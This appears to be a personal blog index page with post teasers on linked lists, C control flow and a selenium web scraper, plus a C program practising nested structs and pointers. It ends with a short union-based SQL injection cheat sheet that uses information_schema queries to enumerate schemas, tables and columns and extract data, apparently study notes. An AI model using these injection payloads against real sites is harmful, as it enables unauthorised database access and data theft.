some Pointer and Struct practicing

链表由两部分组成,一部分是指针区,一部分是数据区,这里要说的是单链表,指针区仅仅只是下一个节点的地址,为了简化程序,数据区也只设置一个整型变量

Read more »

if-else, while/for, switch-case

编译器:gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609

Read more »

一次爬虫的记录与分享

0x00准备

安装selenium库,使用urllib库,re库

0x01实现

selenium模拟登录

Read more »

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
struct first{
char name[10];
};
struct second{
struct first a;
int x;
};
struct third{
struct second b;
struct first c;
char y[5];
};


int main(){
struct third d = {.b = {.x = 233,.a = {"huaji"}},
.c = {"huaihuai"},"2333"};
struct third * p;
p = &d;
printf("%s\n",p -> b.a.name);
printf("%d\n",p -> b.x);
printf("%s\n",p -> y);
printf("%s\n",d.b.a.name);

struct second * z;
z = &d.b;
printf("%s\n",z -> a.name);
printf("%d\n",z -> x);

struct first * m;
m = &d.b.a;
printf("%s\n",m -> name);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13

id=? order by n
union select null,null,~,n

#find_schema:
union select 1,2,~,group_concat(schema_name),~,n from information_schema.schemata
#find_tables:
union select 1,2,~,group_concat(table_name),~,n from information_schema.tables where table_schema="~~"
#find_columns:
union select 1,2,~,group_concat(column_name),~,n from information_schema.columns where table_schema="~~" and table_name="~~"

#get data
union select 1,2,~,group_concat(column),~,n from schema.table